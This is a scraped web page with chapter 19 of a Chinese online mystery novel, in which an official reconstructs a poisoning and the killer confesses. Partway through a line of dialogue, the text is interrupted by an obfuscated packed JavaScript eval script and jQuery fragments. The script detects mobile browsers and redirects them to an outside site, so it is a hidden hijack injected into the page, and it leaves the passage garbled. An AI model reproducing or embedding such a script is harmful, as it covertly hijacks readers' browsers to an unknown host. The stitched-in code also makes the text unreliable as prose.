默认冷灰
24号文字
方正启体

19. 再邀

作者:黎无虞本书字数:K更新时间:
    钟钰斜着腿歪歪扭扭地跪着,她单手撑着地,整个人看上去十分疲惫,好似被剥抽了筋。


    她掀起眼皮,讥讽地笑出了声,笑着笑着声音愈渐变大。她身躯前仰后翻,竟好似疯了一样。最终她弯下腰,身体摇摇欲坠般,低着头有气无力地苦笑着。


    堂内众人皆被她的作为惊到,静静看着她,直到她默了声,缓缓吐出一口气:“单凭这些,就想定我的罪?敢位诸位官爷,我为何要杀他?他现下已是状头,来日便要做官,这大好前程,我为何要杀他?”


    “钟娘子,你的话总是左右相搏。”桓榆垂眸看她,神色冷淡。


    她狠厉的眼神斜眼瞪去:“桓娘子,你这般诬陷,就不怕非晚郎君怪罪你吗?”


    桓榆双眸微动,哼声一笑,眼底闪过一丝怒意:“非晚虽然重情重义,但也看得清是非。我想他若是真的知道是你,害了郑旬意,或许会怒发冲冠为郑旬意打抱不平,嘲自己瞎了眼。”


    桓榆该说的已经说完了,接下来便是大理寺要出手之时。毕竟在有其他的证据之后,钟钰的证人确实是一个不好解决的点。可现下难题被桓榆解决了,大理寺便可以放手一探。


    魏砚深深看了眼桓榆,随后又淡淡扫了下钟钰,


    “本官现下还有一事想问,燕德忠之事是否与你有关?”


    燕德忠听魏砚这话,立刻便明白了是什么,他不负魏砚所望,逼问钟钰,言语中竟是责备:“我,我丢了进太医署的机会可是你所为?”


    “燕郎君稍安勿躁。”魏砚抬手拦下燕德忠,转而看向冯天川,“冯郎君,你说你的父亲曾是太医署一员,想必你同太医署亦有些交集吧?”


    “略……略有交集。”冯天川他吞吞吐吐。


    燕德忠闻言脸色渐渐涨红,他看向冯天川,面带愠色却又有些不解:“难不成是你?”冯天川却是一脸莫名。


    魏砚继续说:“钟钰娘子,不知燕德忠被除名之事,可是你撺掇冯郎君所为,又或者与常府有关,又或者是郭府?”


    说到这时,众人好似终于看出来魏砚是在给钟钰施压,便都闭口等着。


    钟钰面色微凝,有些瑟缩。


    “此事虽说涉及太医署和官员府第,不过也不难查……”


    钟钰打断了他的话:“官爷在说什么,妾身不明白,妾身同燕郎君并不熟识,为何要加害于他?大理寺将凶案罪名安在了我身上还不满意,还要另加罪名吗?”


    魏砚看了看她不满的模样,随后漫不经心地拿起手中的卷宗,将案件始终娓娓道来。


    “那日的雨,许是钟钰娘子尚未料到的,不过对于你也无甚影响,甚至还有助于你行动,毕竟雨天的线索是最容易被消灭。”


    “你在与冯二娘子寒暄后,本还在担心身边有人该如何作案。恰巧冯二娘子要去廊下躲雨,于是你便独自一人站在石柱前,寻找时机。”


    “等了片刻,榜单终于有了结果。你在得知郑旬意中了榜首之后,心下立马决断,将伞搭上石柱,藏着凶器,趁着死者周围人甚多,混入其中。借着四周人的伞遮挡视线,挤到死者身侧……”


    说话之余又有证人前来,这些人在大理寺的询问之下都说是在榜前对钟钰有着轻微印象,虽说不足以成为明显的人证,但对于此案都是有着很大帮助。


    待证人补充完案情,魏砚丝毫不给钟钰解释的机会,又继续说:“你动手之后,再次回到伞的所在之处,等着郑旬意毒素发作倒下后,立刻上前哭喊,趁此机会又将郑旬意腰间的香囊顺走。”


    “事后你跟着大理寺之人离开,趁着伤心欲绝无人注意之时,又悄悄将香囊丢在了街道边。”


    钟钰静静听着他将案发当时的现场还原出来,终于抓住其中字眼,问道:“魏少卿,这些都是你的推测。凶器又是什么?与我何关?”


    “钟钰娘子,药箱中的九针有几根都是崭新的,那旧的那些去哪了?”


    “自然是磨损了,不能用了,被丢了。”钟钰冷声一笑。


    “大家皆知死者是在毒药与毒针接触后引起的毒发身亡。钟钰娘子既然行医,那么银针这物应是很容易得到,至于这银针上的毒物,便是这雪蚕粉。”


    魏砚自说自问:“只是雪蚕粉可是极寒之地的产物,钟钰又怎会有?”


    “于是我便又差人去查,雪蚕粉此物作为西域贡品只京城内达官贵族会有。”


    钟钰不语,似乎是默认。


    魏砚继续说:“而经大理寺核查,常府,郭府,公主,后妃……皆有此物。”他一个一个词说,同时紧盯着钟钰的神色。


    不出所料,她眸中闪过得一瞬即逝的慌张,还是魏砚捕捉到。


    程洮听魏砚的解释,加以分析:“当然,还有一个原因,汝州与东都离得很近,雪蚕粉在东都也有些许售卖,作为一种润肤膏药,钟钰娘子或许也会买入。”


    魏砚再次怒声发问:“钟钰娘子,到底何仇何怨,你要杀害郑旬意?”


    再次的逼问使堂内全然静了下来。


    冯家兄妹大气不敢喘。


    燕德忠冷眼瞧着,他现下只想知道自己的事情与钟钰有没有关系。


    良久,静如一潭水的堂内终于掀起波澜,钟钰直起腰身,有种破罐子破摔的样子,她面无血色,声色平静无比:“官爷是想知道妾身为何要杀他?”


    “你承认了?”何寺卿听这话一个激灵坐起。


    “事到如今我还能隐瞒什么?你们即找了些证据,我又能辩解什么?我即杀他,自然料到会有这么一天。”


    “成为榜首又如何?当了状头又如何?奈何郑旬意他的心已经不在我这了。”钟钰挺着身说着,声音却软了下来,略带哭腔,“与他相伴了那么些年,我早看清了他。他趋炎附势,妄想攀高枝。我都看见了……”


    她说着说着有些激动,渐渐高声:“前些日子的诗会,我去给他送东西,我都看见了!他同别家的闺秀娘子拉拉扯扯,你侬我侬……倘若他真的及第,之后,我就是同那昔日文君一般,成了一个被永久抛弃之人!”


    她讥讽道:“我为他做了那么多岂能容忍他这般,我本想引着冯郎君去做此事,可奈何他是个胆小怕事之人。也好,那我便自己来,毕竟我已无双亲没什么可记挂的了……”


    ……


    “状头之案”终于有了结果,三司如期给圣上交了差。


    而钟钰已经被大理寺压入牢狱,不日问斩。


    魏砚这处送别刑部和御史台的几位官员,又将证人都送回后,便还剩下桓榆。他打算感谢她一番,毕竟她所提供的线索很是重要。


    魏砚难得的轻松,如沐春风般地笑着:“桓娘子,今日很是感谢,辛苦你了。改日我唤上方则溢和桓郎君,请你们用膳。”


    “少卿客气,举手之劳。”桓榆客气行礼。


    “桓娘子不仅画技高超,更有破案天赋,大理寺正需你这般人才,娘子不若再考虑考虑,做


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337675|183394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大理寺画师。”


    桓榆闻言微怔,上回在阡墨阁,魏砚已经提过此事。她拒绝之后,魏砚竟不死心现下又提。原先她还以为魏砚只是顺带一说,因她画作好开她玩笑,不想竟是认真的?这大理寺真是愈发无能,竟连画师都找不到吗?


    她想着略微蹙眉,冷静说:“少卿过誉,此事我也是侥幸找到些线索。况且我尚有作坊在手,已自顾不暇,恐难以胜任,还请少卿另寻他人吧。”


    “桓娘子不必担心俸禄之事,大理寺定会照常发放,也不会耽误娘子开店。”


    桓榆莞尔一笑:“魏少卿,与此无关。”她不等魏砚说话悄悄转了话题,“少卿不觉是此案还有些蹊跷之处吗?”


    此话一出果然将魏砚带偏,只见魏砚垂眸,不知想到了什么:“是,我在问钟钰有关燕德忠和雪蚕粉相关之事时,她的神色明显有些奇怪,那种闪烁其词的模样一定还在隐瞒什么。”


    “魏少卿觉得,她在隐瞒什么?”


    “虽说她是动手之人,但此案的背后恐还有其他人。”


    桓榆赞同他的推测:“我稍后要去国子监将此事说与非晚,我会向他进一步打听有关钟钰娘子的事。”


    “好,大理寺给你安排马车。”


    “谢过魏少卿。”


    魏砚转身要走,忽然又想到了什么,转过身来静静望她一瞬,在桓榆疑惑的目光下无奈地叹了口气,又离开了。


    ————


    桓榆在车上斟酌着该怎么委婉的告知桓非晚“状头之案”的真相。


    她苦恼着走下马车,抬眼正巧瞧见了方则溢。


    “这不是桓阿姊吗,桓阿姊是来找桓非晚吧?”方则溢笑嘻嘻的同他打着招呼。


    “方郎君巧。是,劳烦将非晚叫出。”


    方则溢听这话,十分热情地回道:“好嘞好嘞,桓阿姊稍等片刻,我这就去寻他。”


    “什么?你说凶手是钟娘子?”桓非晚如遭天劈,震惊地瞪直了眼。


    “小声些。”


    桓非晚自觉低下声音:“可是,怎会如此?郑兄与她……我是看在眼里的……”


    “容不得你不信。”桓榆说。


    “既然已经查明,我自然是信的,只是……”桓非晚苦恼地垂了垂脑袋,“哎,枉我还觉得她面色和善,惠质兰心,待郑兄极好,我同郑兄都看错了她。”桓非晚气愤地一拍脑门。


    见此,桓榆不禁扬唇笑了下。


    “阿姊,你笑什么?这么严肃的事?”桓非晚不解。


    桓榆摆正神色:“没什么。还有一事,虽说真凶已明,但仍有蹊跷,你可知钟钰娘子同高门贵族有过什么交集吗?”


    桓非晚拧着眉,努力地想着:“我,我不知,我其实不太清楚钟娘子的事。”


    “你想想,不止长安城内。”


    “……阿姊我不知道,郑兄也没有提过。”桓非晚静默片刻,无奈垂眉。


    桓榆微叹气:“行罢,此事你先留意一下。”


    桓非晚连连点头,忽然又说:“阿姊,有件事还需拜托你。”


    桓榆示意他继续说。


    “尚有几日我才放旬假,即案件已经查明,郑兄发丧之事可否托阿姊……”桓非晚小心翼翼说着。


    桓榆瞧他有些畏缩的样子,忍不住心下白他一眼:“我知晓了,我会先帮你准备着,事后你再处理。”


    桓非晚心满意足,嬉笑地拉着她连连道谢,又连连关怀。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)